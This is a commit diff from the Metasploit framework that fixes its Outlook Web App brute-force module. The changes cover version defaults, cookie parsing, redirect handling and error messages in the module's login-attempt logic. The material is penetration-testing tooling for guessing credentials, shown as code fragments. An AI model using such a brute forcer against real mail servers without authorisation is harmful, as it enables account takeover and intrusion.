Land #4094, fixes for OWA brute forcer
Fixes #4083 Thanks TONS to @jhart-r7 for doing most of the work on this!
This commit is contained in:
commit
cca30b536f
|
@ -18,8 +18,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
super(
|
||||
'Name' => 'Outlook Web App (OWA) Brute Force Utility',
|
||||
'Description' => %q{
|
||||
This module tests credentials on OWA 2003, 2007, 2010, 2013 servers. The default
|
||||
action is set to OWA 2010.
|
||||
This module tests credentials on OWA 2003, 2007, 2010, and 2013 servers.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
|
@ -70,7 +69,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
}
|
||||
]
|
||||
],
|
||||
'DefaultAction' => 'OWA_2010',
|
||||
'DefaultAction' => 'OWA_2013',
|
||||
'DefaultOptions' => {
|
||||
'SSL' => true
|
||||
}
|
||||
|
@ -93,12 +92,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
deregister_options('BLANK_PASSWORDS', 'RHOSTS','PASSWORD','USERNAME')
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
vhost = datastore['VHOST'] || datastore['RHOST']
|
||||
|
||||
print_status("#{msg} Testing version #{action.name}")
|
||||
|
||||
def setup
|
||||
# Here's a weird hack to check if each_user_pass is empty or not
|
||||
# apparently you cannot do each_user_pass.empty? or even inspect() it
|
||||
isempty = true
|
||||
|
@ -106,7 +100,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
isempty = false
|
||||
break
|
||||
end
|
||||
print_error("No username/password specified") if isempty
|
||||
raise ArgumentError, "No username/password specified" if isempty
|
||||
end
|
||||
|
||||
def run
|
||||
vhost = datastore['VHOST'] || datastore['RHOST']
|
||||
|
||||
print_status("#{msg} Testing version #{action.name}")
|
||||
|
||||
auth_path = action.opts['AuthPath']
|
||||
inbox_path = action.opts['InboxPath']
|
||||
|
@ -204,20 +204,31 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
#No password change required moving on.
|
||||
reason = res.headers['location'].split('reason=')[1]
|
||||
unless location = res.headers['location']
|
||||
print_error("#{msg} No HTTP redirect. This is not OWA 2013, aborting.")
|
||||
return :abort
|
||||
end
|
||||
reason = location.split('reason=')[1]
|
||||
if reason == nil
|
||||
headers['Cookie'] = 'PBack=0;' << res.get_cookies
|
||||
else
|
||||
#Login didn't work. no point on going on.
|
||||
vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}'")
|
||||
vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}' (HTTP redirect with reason #{reason})")
|
||||
return :Skip_pass
|
||||
end
|
||||
else
|
||||
# these two lines are the authentication info
|
||||
# The authentication info is in the cookies on this response
|
||||
cookies = res.get_cookies
|
||||
sessionid = 'sessionid=' << cookies.split('sessionid=')[1].split('; ')[0]
|
||||
cadata = 'cadata=' << cookies.split('cadata=')[1].split('; ')[0]
|
||||
headers['Cookie'] = 'PBack=0; ' << sessionid << '; ' << cadata
|
||||
cookie_header = 'PBack=0'
|
||||
%w(sessionid cadata).each do |necessary_cookie|
|
||||
if cookies =~ /#{necessary_cookie}=([^;]*)/
|
||||
cookie_header << "; #{Regexp.last_match(1)}"
|
||||
else
|
||||
print_error("#{msg} Missing #{necessary_cookie} cookie. This is not OWA 2010, aborting")
|
||||
return :abort
|
||||
end
|
||||
end
|
||||
headers['Cookie'] = cookie_header
|
||||
end
|
||||
|
||||
begin
|
||||
|
@ -236,8 +247,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return :abort
|
||||
end
|
||||
|
||||
if res.code == 302
|
||||
vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}'")
|
||||
if res.redirect?
|
||||
vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}' (response was a #{res.code} redirect)")
|
||||
return :skip_pass
|
||||
end
|
||||
|
||||
|
@ -256,7 +267,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
report_auth_info(report_hash)
|
||||
return :next_user
|
||||
else
|
||||
vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}'")
|
||||
vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}' (response body did not match)")
|
||||
return :skip_pass
|
||||
end
|
||||
end
|
||||
|
@ -291,7 +302,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
next
|
||||
end
|
||||
|
||||
if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i)
|
||||
if res && res.code == 401 && res.headers.has_key?('WWW-Authenticate') && res.headers['WWW-Authenticate'].match(/^NTLM/i)
|
||||
hash = res['WWW-Authenticate'].split('NTLM ')[1]
|
||||
domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'')
|
||||
print_good("Found target domain: " + domain)
|
||||
|
|
Loading…
Reference in New Issue